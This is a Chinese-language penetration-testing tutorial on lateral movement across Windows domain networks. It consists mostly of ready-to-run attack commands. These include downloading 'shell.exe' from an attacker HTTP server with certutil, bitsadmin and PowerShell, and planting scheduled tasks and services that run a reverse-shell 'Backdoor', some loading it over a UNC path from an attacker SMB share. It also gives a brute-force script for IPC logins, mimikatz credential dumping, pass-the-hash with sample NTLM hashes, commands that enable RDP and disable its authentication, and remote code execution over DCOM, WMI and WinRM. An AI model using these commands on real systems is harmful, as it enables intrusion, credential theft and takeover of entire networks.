這篇文章介紹內網滲透種的橫向移動。
在內網滲透中,當攻擊者獲取到內網某臺機器的控制權後,會以被攻陷的主機為跳板,透過收集域內憑證等各種方法,訪問域內其他機器,進一步擴大資產範圍。透過此類手段,攻擊者最終可能獲得域控制器的訪問許可權,甚至完全控制基於Windows作業系統的整個內網環境,控制域環境下的全部機器。
橫向移動中的檔案傳輸
透過檔案共享-IPC
執行net share命令,可以獲得Windows預設開啟的網路共享,其中C$為C盤共享,ADMIN$為系統目錄共享,還有一個IPC$共享。
IPC(Internet Process Connection)是共享”命令管道”的資源,為了讓程式間通訊而開放的命令管道,透過提供可信任的使用者名稱和口令,連線雙方可以建立安全的通道並以此通道進行加密資料的交換,從而實現對遠端計算機的訪問。
實戰中往往會建立IPC$連線,因為透過IPC$連線,不僅可以進行所有檔案共享操作,還可以實現其他遠端管理操作,如列出遠端主機程式、在遠端主機上建立計劃任務或服務等。
建立IPC$連線需要具備以下兩個條件:
①遠端主機開啟了IPC連線
②遠端主機的139埠和445埠開放
# IPC$ 連線
net use \\192.168.1.131\ipc$ # 建立空連線
net use \\192.168.1.131\ipc$ "password" /user:"Administrator" # 建立非空連線
# IPC$ 使用
net use # 檢視本機建立的連線(本機連線其他機器)
net session # 檢視本機建立的連線(其他機器連線的本機),需要administrator使用者執行
net share # 檢視本地開啟的共享
net share ipc$ # 開啟ipc$共享
net share ipc$ /del # 刪除ipc$共享
net share admin$ /del # 刪除admin$共享
net share c$ /del # 刪除C盤共享
net use * /del # 刪除所有連線
# IPC$ 連線建立之後的操作
dir \\192.168.1.131\c$ # 列出目標檔案目錄
copy C:\\Users\Administrator\Desktop\whatever.exe \\192.168.1.131\c$\aaa # 將檔案複製到目標C盤aaa目錄下
type \\192.168.1.131\c$\1.txt # 檢視目標C盤下1.txt檔案內容
net use h: \\192.168.52.138\c$ # 磁碟對映,將目標的 C 盤對映到本地的 H 盤
net use h: /del # 刪除磁碟對映
建立 IPC 常見的錯誤程式碼
5:拒絕訪問,可能是使用的使用者不是管理員許可權,需要先提升許可權
51:網路問題,Windows 無法找到網路路徑
53:找不到網路路徑,可能是 IP 地址錯誤、目標未開機、目標 Lanmanserver 服務未啟動、有 防火牆等問題
67:找不到網路名,本地 Lanmanworkstation 服務未啟動,目標刪除 ipc$
1219:提供的憑據和已存在的憑據集衝突,說明已建立 IPC$,需要先刪除
1326:賬號密碼錯誤
1792:目標 NetLogon 服務未啟動,連線域控常常會出現此情況
2242:使用者密碼過期,目標有賬號策略,強制定期更改密碼
建立 IPC 失敗的原因
(1)目標系統不是 NT 或以上的作業系統
(2)對方沒有開啟 IPC$共享
(3)對方未開啟 139、445 埠,或者被防火牆遮蔽
(4)輸出命令、賬號密碼有錯誤
透過搭建SMB伺服器
SMB(Server Message Block,伺服器訊息塊),又稱CIFS(Common Internet File System,網路檔案共享系統),主要功能是使網路上的計算機能夠共享計算機檔案、印表機、串列埠和通訊等資源。SMB訊息一般使用NetBIOS協議或TCP傳送,分別使用埠139或445,目前傾向於使用445埠。
在linux上,可以透過 https://github.com/fortra/impacket/blob/master/impacket/smbserver.py 來搭建smb伺服器。
mkdir /root/smbshare python smbserver.py mysmb /root/smbshare -smb2support
透過Windows自帶工具
Certutil
Certutil 是Windows自帶的命令列工具,用於管理Windows證照並作為證照伺服器的一部分安裝。Certutil提供了從網路下載檔案的功能。
certutil -urlcache -split -f http://192.168.1.1:8000/shell.exe c:\users\public\shell.exe
//從192.168.1.1:8000下載shell.exe到本地c:\users\public\目錄下
BITSAdmin
BITSAdmin用於建立、下載和上傳作業,監視其進度。Windows7及以後的系統自帶BitsAdmin工具。
bitsadmin /transfer test http://192.168.1.1:8000/1.txt c:\users\mytools\a.txt
// 建立一個名為test的bitsadmin任務,從192.168.1.1:8000下載1.txt,儲存為c:\users\mytools\a.txt
powershell
透過建立WebClient物件來實現檔案下載
(New-Object Net.WebClient).DownloadFile("http://192.168.1.1:8000/shell.exe", "c:\users\public\shell.exe")
powershell -c "(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:8000/shell.exe','c:\users\public\shell.exe')"
at & schtasks & sc橫向
在拿下一臺內網主機後,透過本地資訊蒐集收集使用者憑證等資訊後,如何橫向滲透拿下更多的主機?
使用 at&schtasks 命令,建立計劃任務,在已知目標系統的使用者明文密碼的基礎上,直接可以在遠端主機上執行命令。
獲取到某域主機許可權->minikatz 得到密碼(明文,hash)->用到資訊收集裡面域使用者的列表當做使用者名稱字典->用到密碼明文當做密碼字典->嘗試連線->建立計劃任務(at|schtasks)->執行檔案可為後門或者相關命令
利用流程
\1. 建立 IPC 連結到目標主機
\2. 複製要執行的命令指令碼到目標主機
\3. 檢視目標時間,建立計劃任務(at、schtasks)定時執行複製到的指令碼
\4. 刪除 IPC 連結
ps: Windows Server 2012 以後的版本沒有at命令,只有schtasks命令
at(計劃任務)
利用過程如下:
net time \\192.168.1.131
# 檢視時間
at \\192.168.1.131 10:30 cmd.exe /c "whoami > c:\result.txt"
# 結果輸出到 result 下
type \\192.168.1.131\c$\result.txt
# 檢視執行結果
at \\192.168.1.131 1 /delete
# 刪除計劃任務,1是任務號
copy hack.bat \\192.168.1.131\c$\Windows\Temp
# 上傳 bat 指令碼
net time \\192.168.1.131
# 檢視時間
at \\192.168.1.131 19:48 c:\Windows\Temp\hack.bat
# 建立定時任務,執行木馬指令碼
at \\192.168.1.131
# 檢視任務列表
schtasks(計劃任務)
操作步驟:
- 利用已建立的IPC連線上傳後門程式
- 利用已建立的IPC連線或指定使用者憑據的方式在遠端主機上建立計劃任務shell
schtasks /Create /S 192.168.1.131 /TN Backdoor /SC minute /MO 1 /TR C:\users\pubilc\reverse_tcp.exe /RN System /F # /S 指定要連線的系統; /TN 指定計劃任務的名稱 # /SC 指定計劃任務執行頻率; /MO 指定計劃任務執行週期 # /TR 指定計劃任務執行程式; /RU 指定計劃任務執行的使用者許可權 # /F 如果指定的任務已存在,則強制建立
如果沒有建立IPC連線,則需要指定遠端主機的使用者憑據
schtasks /Create /S 192.168.1.131 /TN Backdoor /SC minute /MO 1 /TR C:\users\pubilc\reverse_tcp.exe /RN System /F /U Administrator /P 123qwe@
- 建立完成後,可以等待計劃任務自行執行,也可以立即啟動計劃任務shell
schtasks /RUN /S 192.168.1.131 /I /TN Backdoor
- 檢視計劃任務shell
schtasks /query /S 192.168.1.131 /TN Backdoor
- 刪除計劃任務shell
schtasks /Delete /S 192.168.1.131 /TN Backdoor /F
也可以透過計劃任務執行系統命令,將執行結果寫入檔案,然後使用type命令檢視檔案
schtasks /Create /S 192.168.1.131 /TN Backdoor /SC minute /MO 1 /TR "c:\windows\system32\cmd.exe /c 'whoami' > c:\users\public\result.txt" /RN System /F
type \\192.168.1.131\C$\users\public\result.txt
copy C:\Users\Administrator\Desktop\hack.bat \\192.168.1.131\c$\Windows\Temp
schtasks /create /tn hack /tr C:\Windows\Temp\hack.bat /sc ONSTART /s 192.168.1.131 /ru "system" /u administrator /p 123qwe@
schtasks /run /tn hackk /s 192.168.1.131
type \\192.168.1.131\c$\Windows\Temp\result.txt
schtasks /delete /s 192.168.1.131 /u administrator /p 123qwe@ /tn hackk /f
注意:在使用schtasks命令時,會在系統中留下日誌檔案C:\Windows\Tasks\SchedLgU.txt。
UNC路徑載入執行
Windows系統使用UNC路徑來訪問網路共享資源,格式為
\\servername\sharename\directory\filename # servername 伺服器; sharename 網路共享名字
攻擊載荷在遠端主機上時,可以直接使用UNC路徑代替常規的本地路徑,讓目標主機直接在測試人員搭建的Smb共享中載入攻擊載荷並執行。這樣可以省去手動上傳載荷的步驟。
例如:
schtasks /Create /S 192.168.1.131 /TN Backdoor /SC minute /MO 1 /TR \\192.168.1.1\mysmb\reverse_tcp.exe /RN System /F
sc(系統服務)
建立遠端服務需要擁有兩端主機的管理員許可權(要建立服務)和IPC連線,具體操作:
- 利用已建立的共享連線向遠端主機上傳攻擊載荷reverse_tcp.exe
- 利用已建立的IPC連線在遠端主機上建立系統服務shell
sc \\192.168.1.131 create Backdoor binpath= "cmd.exe /k c:\users\public\reverse_tcp.exe"
# binpath的等號後面需要有一個空格
- 刪除服務shell
sc \\192.168.1.131 delete Backdoor
批次利用指令碼、工具進行爆破連線
#批次檢測 IP 對應明文連線
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator
#批次檢測 IP 對應明文 回顯版
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
#批次檢測明文對應 IP 回顯版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.1.131 whoami
# 批次檢測 HASH 對應 IP 回顯版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.1.131 whoami
前期除了收集明文密碼HASH等,還收集了使用者名稱,使用者名稱配合密碼字典,用python打包成.exe可執行檔案
pip install pyinstaller
pyinstaller -F fuck_neiwang_001.py
import os,time
ips = {
}
# net user /domain
users = {
'Administrator',
'7BOB',
'uf9n1x'
'webserver-2008'
}
passs = {
}
for ip in ips:
for user in users:
for mima in passs:
exec = "net use \\" + ip + '\ipc$' + mima + ' /user:god\\' + user
print('--->' + exec + '<---')
os.system(exec)
time.sleep(1)
SMB協議利用
psexec
psExec是微軟官方提供的一個Windows遠端控制工具,可以根據憑據在遠端系統上執行管理操作,並且可以獲得與命令列幾乎相同的實時互動性。該工具在MSF框架中也有整合。
psexec 是 windows 下非常好的一款遠端命令列工具。psexec的使用不需要對方主機開方3389埠,只需要對方開啟admin$共享 (該共享預設開啟)。但是,假如目標主機開啟了防火牆,psexec也是不能使用的,會提示找不到網路路徑。由於PsExec是Windows提供的工具,所以防毒軟體將其列在白名單中。
PsExec的基本原理:
- 透過ipc$連線,釋放二進位制檔案psexecsvc.exe到目標
- 透過服務管理SCManager遠端建立一個psexec服務,並啟動服務
- 客戶端連線執行命令,服務端透過服務啟動相應的程式執行命令並回顯資料
- 執行結束後刪除服務
psexec的使用前提:
- 對方主機開啟了 admin$ 共享,如果關閉了admin$共享,會提示:找不到網路名
- 對方未開啟防火牆或放行445埠
- 如果是工作組環境,則必須使用administrator使用者連線(因為要在目標主機上面建立並啟動服務),使用其他賬號(包括管理員組中的非administrator使用者)登入都會提示訪問拒絕訪問。
- 如果是域環境,即可用普通域使用者連線也可以用域管理員使用者連線。連線普通域主機可以用普通域使用者,連線域控只能用域管理員賬戶。
用法:
psexec.exe -accepteula \\192.168.1.131 -u Administrator -p 123qwe@ -s cmd.exe
# -accepteula 禁止彈出許可證對話方塊
# -s 以SYSTEM許可權啟動程式
如果已經建立IPC連線,那麼可以直接使用psexec連線遠端主機
psexec.exe -accepteula \\192.168.1.131 -s cmd.exe
或者不提取shell,直接用目標系統的cmd.exe的/c選項在目標主機上執行命令,並得到回顯(與前面的at命令相似)
PsExec.exe \\192.168.1.131 <Command>
PsExec.exe \\192.168.1.131 cmd.exe /c "ipconfig"
PsExec.exe \\192.168.1.131 -u Administrator -p 123qwe@ cmd.exe /c "ipconfig"
smbexec
無需先 ipc 連結, 明文或 hash 傳遞(第三方庫)
smbexec uf9n1x/administrator:123qwe@@192.168.1.131
smbexec ./administrator:123qwe@@192.168.1.131
smbexec -hashes :$HASH$ ./admin@192.168.1.131
smbbexec -hashes :$HASH$ domain/admin@192.168.1.131
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.1.131
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 uf9n1x/administrator@192.168.1.131
遠端桌面呼叫
遠端桌面協議(Remote Desktop Protocol,RDP)
查詢登錄檔確定是否主機開啟了遠端桌面
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
# 若欄位值為0,則表示已啟動RDP;若為1,則表示禁用RDP
開啟遠端桌面
# 開啟遠端桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 關閉“僅允許執行使用網路級別身份驗證的遠端桌面的計算機連線”(鑑權)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
# 設定防火牆策略放行3389埠
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
對於遠端主機,可以透過WMI來開啟遠端桌面功能
wmic /Node:192.168.1.131 /User:uf9n1x\Administrator /Password:123qwe@ RDTOGGLE WHRER ServerName='win2008' call SetAllowTSConnections 1
RDP Hijack
Windows系統下,tscon可被用來切換遠端桌面的會話。正常情況下,切換會話時需要提供登入密碼,但透過特殊的利用方法能夠繞過驗證,不輸入密碼實現未授權登入。
可以透過query user來列出所有登入的使用者列表,得到id
在SYSTEM許可權下,使用tscon
sharp RDP
https://github.com/0xthirteen/SharpRDP
sharp rdp可以透過遠端桌面協議在遠端主機上執行系統命令,且不需要GUI客戶端。
工具需要遠端主機開啟遠端桌面功能,且防火牆放行3389埠
WMI的利用
WMI(Windows Management Instrumentation,Windows管理規範)時一項核心的Windows管理技術。使用者可以透過WMI管理本地和遠端主機。
Windows為傳輸WMI資料提供了兩個可用的協議:分散式元件物件模型(Distributed Component Object Model, DCOM)和Windows遠端管理(Window Remote Management,WinRM)使得WMI物件的查詢、事件註冊、WMI類方法的執行和類的建立等操作都能遠端執行。
在橫向移動時,可以利用WMI提供的管理功能,透過以獲取的使用者憑據,與本地或遠端主機進行互動,並控制其執行各種行為。目前兩種常見的利用方法:
**1、 透過呼叫WMI的類方法進行遠端呼叫,如Win32_Process類中的Create方法可以在遠端主機上建立程式,Win32_Product類的Install方法可以在遠端主機上安裝惡意的MSI
**2、 遠端部署WMI事件訂閱,在特定事件發生時觸發
利用WMI進行橫向移動需要具備以下條件:
**1、遠端主機的WMI服務為開啟狀態(預設開啟)
**2、遠端主機防火牆放行135埠,這是WMI管理的預設埠
常規利用方法
在windows上可以透過wmic.exe和powershell cmelet來使用wmi資料和執行WMI方法。
wmic.exe是一個與WMI進行互動的命令列工具,擁有大量的WMI物件的預設別名,可以執行許多複雜的查詢。powershell也提供了許多可以與WMI進行互動的cmelet,如Invoke-WmiMethod、Set-WmiInstance等
執行遠端查詢
透過WMI查詢遠端主機上執行的程式資訊
wmic /node:192.168.1.131 /user:Administrator /password:123qwe@ process list brief # /node 執行遠端主機的地址
建立遠端程式
透過呼叫Win32_Process.Create方法在遠端主機上建立程式,啟動CMD來執行命令
由於WMIC在執行命令時沒有回顯,因此可以將執行結果寫入檔案,然後透過別的方式讀取檔案
wmic /node:192.168.1.131 /user:Administrator /password:123qwe@ process call create "cmd.exe /c ipconfig > C:\result.txt"
遠端安裝MSI檔案
透過呼叫Win32_Product.Install方法,可以控制遠端主機安裝惡意MSI檔案,從而獲得許可權
wmic /node:192.168.1.131 /user:Administrator /password:123qwe@ product call install PackageLocation="\\192.168.1.1\mysmb\reverse_tcp.msi"
常見利用工具
套件impacket-WmiExec
Impacket專案的Wmiexec.py能夠以全互動或半互動的方式,透過WMI在遠端主機上執行命令。該工機需要遠端主機開啟135和445埠,其中445埠用於傳輸命令執行的回顯。
python wmiexec.py uf9n1x/Administrator:123qwe@@192.168.1.131
wmiexec.exe ./administrator:123qwe@@192.168.1.131 "whoami"
wmiexec.exe god/administrator:Admin12345@192.168.1.131 "whoami"
wmiexec.exe -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.1.131 "whoami"
wmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 uf9n1x/administrator@192.168.1.131 "whoami"
自帶 cscript 明文傳遞 有回顯
cscript //nologo wmiexec.vbs /shell 192.168.1.131 administrator 123qwe@
自帶 WMIC 明文傳遞 無回顯
wmic /node:192.168.1.131 /user:administrator /password:123qwe@ process call create "cmd.exe /c ipconfig >C:\1.txt"
WMI事件訂閱的利用
WMI提供了強大的事件處理系統,幾乎可以用於作業系統上發生的任何事件做出相應。
當建立某程式時,透過WMI事件訂閱器來執行預先設定的指令碼。
其中觸發事件的具體條件被稱為“事件過濾器”(Event Filter),如使用者登入、新程式建立等;對指定事件發生做出相應的稱為“事件消費者”(Event Consumer),包括一系列具體的操作,如執行指令碼、記錄日誌、傳送郵件等。
在部署事件訂閱時,需要分別構建Filter和Consumer兩部分,並將兩者繫結在一起。
所有的事件過濾器都被儲存在一個Root\subscription:__EventFiilter物件的例項,可以透過建立__EventFilter物件例項來部署事件過濾器。事件消費者是基於ROOT\subscription:__EventConsumer系統類派生來的類。
系統提供了常用的標準事件消費類
LogFileEventConsumer # 將事件資料寫入指定的日誌檔案
ActiveScriptEventConsumer # 執行嵌入的VBScript或JavaScript
NTEventLogEventConsumer # 建立一個包含事件資料的事件日誌條目
SMTPEventConsumer # 傳送一封包含事件資料的電子郵件
CommandLineEventConsumer # 執行指定的系統命令
Sharp-WMIEvent
https://github.com/wh0Nsq/Sharp-WMIEvent
在遠端主機上部署一個隨即命名的永久事件訂閱,並每隔60s執行以此SMB共享中的攻擊載荷
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.1.131 -Domain uf9n1x.com -Username Administrator -Password 123qwe@
DCOM的利用
COM(Component Object Model,元件物件模型)是微軟的一套軟體組成的二進位制介面標準,使得跨程式語言的程式間通訊、動態物件建立成為可能。COM指定了一個物件模型和程式設計要求,使COM物件能夠與其他物件互動。這些物件可以在單個程式中,也可以在其它程式中,甚至可以在遠端計算機中。在Windows中,每個COM物件都由唯一的128位的二進位制識別符號標識,即GUID。
DCOM(Distracted Component Model,分散式元件物件模型)是基於COM的一系列概念和程式介面,支援不同機器上的元件間通訊。利用DCOM,客戶端程式物件可以請求來自網路中另一臺計算機上的伺服器程式物件。
部分DCOM元件公開的介面中可能包含不安全的方法。執行以下命令,可以列出計算機上所有的DCOM程式元件
Get-CimInstance Win32_DCOMApplication
目前常利用的DCOM元件有:MMC20.Application、ShellWindows、Excel.Application、ShellBrowserWindow等。
使用DCOM在遠端主機上面執行命令,需要具有以下條件:
- 具有管理員許可權的PowerShell
- 可能需要關閉目標系統的防火牆。
- 在遠端主機上執行命令時,必須使用域管的administrator賬戶或者目標主機具有管理員許可權的賬戶
MMC20.Application
MMC20.Application物件的Document.ActiveView下存在一個ExecuteShellCommand方法,可以用來啟動子程式並執行執行的程式或系統命令。
# 透過progID與DCOM進行遠端互動,並建立MMC20.Application物件的示例
$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.131"))
# 呼叫ExecuteShellCommand方法啟動程式,執行攻擊載荷 $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.1.1\mysmb\reverse_tcp.exe", "Minimized")
# 合併一句話 [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.131")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.1.1\mysmb\reverse_tcp.exe", "Minimized")
ShellWindows
ShellWindows元件提供了Document.Application.ShellExecute方法,適用於Windows7及以上的系統。
# 透過PowerShell與DCOM進行遠端互動,建立ShellWindows物件的例項:
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1 .131"))
# 然後執行如下命令,我們就可以呼叫該物件的"ShellExecute"方法在遠端主機上啟動程式: $com.item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)
# 完整的命令:
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.131")).item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)
Excel.Application
# 透過PowerShell與DCOM進行遠端互動,建立Excel.Application物件的例項:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.1.131"))
$com.DisplayAlerts = $false
# 然後執行如下命令,我們就可以呼叫該物件的"DDEInitiate"方法在遠端主機上啟動程式: $com.DDEInitiate("cmd.exe","/c C:\shell.exe")
ShellBrowserWindow
使用條件:適用於Windows 10和Windows Server 2012 R2等版本的系統。
# 透過PowerShell與DCOM進行遠端互動,建立Excel.Application物件的例項:
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.1.131"))
# 然後執行如下命令,我們就可以呼叫該物件的"shellExecute"方法在遠端主機上啟動程式: $com.Document.Application.shellExecute("C:\shell.exe")
# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.1.131")).Document.Application.shellExecute("C:\shell.exe")
Impacket裡的dcomexec.py指令碼
Impacket 裡面提供的 dcomexec.py 指令碼可以提供一個類似於 wmiexec.py 指令碼的半互動式shell,但使用的是DCOM,目前支援MMC20.Application,ShellWindows和ShellBrowserWindow物件。
命令格式如下:
./dcomexec.py domain/username:password@ip
./dcomexec.py domain/username:password@ip <command>
WinRM的利用
WinRM是透過執行WS-Management協議(用於遠端軟體和硬體管理的Web服務協議)來實現遠端管理的,允許處於一個共同網路內的Windows計算機彼此之間互相訪問和交換資訊,對應的埠是5985。在一臺計算機啟用WinRM服務後,防火牆會自動放行其相關通訊埠,在另一臺計算機便能透過WinRM對其進行遠端管理了。
只有在Windows Server 2008以上版本的伺服器中,WinRm服務才會自動啟動。
在利用WinRM進行橫向移動時,需要擁有遠端主機的管理員憑據資訊。
透過WinRM執行遠端命令
Windows遠端管理提供了兩個工具:
① Winrs,允許遠端執行命令的命令列工具,利用了WS-Manage協議
② Winrm(Winrm.cmd),內建系統管理命令列工具,允許管理員配置本機的WinRM服務。
在預設情況下,無法透過WinRM連線到目標系統。可能出現錯誤:Winrs error:WinRM客戶端無法處理該請求。可以將預設身份驗證與IP地址結合使用:
① 傳輸為HTTPS或目標位於TrustedHosts列表中,並且提供顯式憑據
② 使用Winrm.cmd配置TrustedHosts。
執行以下命令,將目標地址新增到TrustedHosts中:
winrm set winrm/config/client @{TrustedHosts="192.168.1.1"}
set-Item WSMan:localhost\client\trustedhosts -value *
# 透過powershell,信任所有主機
Winrs
winrs是Windows上遠端管理提供的客戶端程式,允許透過提供的使用者憑據,在執行WinRM的伺服器上執行命令。要求通訊雙方都安裝了WinRM服務。
# 執行系統命令
winrs -r:http://192.168.1.131:5985 -u:Administrator -p:123qwe@ "whoami"
# 獲取遠端互動式命令列
winrs -r:http://192.168.1.131:5985 -u:Administrator -p:123qwe@ "cmd"
Winrm.cmd
winrm.cmd允許WMI物件透過WinRm傳輸進行遠端互動,在本地或遠端計算機上列舉WMI物件例項或呼叫WMI類方法。比如可以透過呼叫Win32_Process類的Create方法來建立遠端例項。
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline="notepad.exe"} -r:http://192.168.1.131:5985 -u:Administrator -p:123qwe@
Evil-Winrm
https://github.com/Hackplayers/evil-winrm
PTH&PTK&PTT(hash、key、ticket傳遞)
PTH(pass the hash) #利用 LM 或 NTLM 的值進行的滲透測試
PTT(pass the ticket) #利用的票據憑證 TGT 進行的滲透測試
PTK(pass the key) #利用的 ekeys aes256 進行的滲透測試
PTH和PTK
PTH 在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接透過 LM Hash 和 NTLM Hash 訪問遠端主機或服務,而不用提供明文密碼。
如果禁用了 ntlm 認證,PsExec 無法利用獲得的 ntlm hash 進行遠端連線,但是使用 mimikatz 還是可以攻擊成功。對於 8.1/2012r2,安裝補丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 來實現 ptk 攻擊
# mimikatz
privilege::debug
# NTLM
sekurlsa::logonPasswords
# AES
sekurlsa::ekeys
總結:KB2871997 補丁後的影響
https://www.freebuf.com/column/220740.html
PTH:打補丁前任意使用者都可以連線,打了補丁後只能 administrator 使用者才可以連線
PTK:打補丁前不能連線,打補丁後才能任意使用者都可以連線(採用 aes256 連線)
PTT-票據傳遞
PTT 攻擊的部分就不是簡單的 NTLM 認證了,它是利用 Kerberos 協議進行攻擊的,三種常見的攻擊方法:
MS14-068,Golden ticket,SILVER ticket。簡單來說就是將連線合法的票據注入到記憶體中實現連線。
Golden ticket(黃金票據),SILVER ticket(白銀票據)屬於許可權維持技術
MS14-068 基於漏洞,造成的危害是允許域內任何一個普通使用者,將自己提升至域管許可權。微軟給出的補丁是 kb3011780
PTH
利用Mimikatz進行PTH
Mimikatz內建了雜湊傳遞的功能,需要本地管理員許可權。
① 抓取使用者的雜湊
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
② 利用抓取的域管理員的NTLM hash進行雜湊傳遞
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:uf9n1x.com /ntlm:93b95aef15f4d50fab96ffc44a2f326a" exit
利用impacket進行PTH
Impacket專案中具有遠端執行功能的幾個指令碼幾乎都可以進行雜湊傳遞攻擊,常見的有:
psexec.py # 類似PSEXEC的功能示例,使用remcomsvc(https://github.com/kavika13/remcom) smbexec.py # 與使用remcomsvc的psexec w/o類似的方法。這裡描述了該技術。我們的實現更進一步, #例項化本地smbserver以接收命令的輸出。這在目標計算機沒有可寫共享可用的情況下很有用。 python3 smbexec.py -hashes :3617ad523f47fc96f24c45943affd954 administrator@192.168.1.131
#-hashes 指定使用者完整的雜湊,如果LM雜湊被廢棄,就將其指定為0或者空
atexec.py # 此示例透過Task Scheduler服務在目標計算機上執行命令,並返回已執行命令的輸出。
wmiexec.py # 需要開放139和445埠,透過Windows Management Instrumentation使用的半互動式shell,它不需要在目標伺服器上安裝任何服務/代理,以管理員身份執行,非常隱蔽。
python wmiexec.py -hashes 00000000000000000000000000000:3617ad523f47fc96f24c45943affd954 administrator@192.168.1.131
dcomexec.py # 類似於wmiexec.py的半互動式shell,但使用不同的DCOM端點。目前支援 MMC20.Application,ShellWindows和ShellBrowserWindow物件。
用法:
# 普通用法
python3 xxx.py domain/user:password@ip
# 雜湊傳遞
python3 xxx.py domain/user@ip -hashes :93b95aef15f4d50fab96ffc44a2f326a
PTK aes256 傳遞
打補丁後的工作組及域連線:
sekurlsa::pth /user:webserver-2008 /domain:uf9n1x /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
PTT 票據傳遞
需要先了解kerberos認證原理,及金票銀票等,放在下一篇討論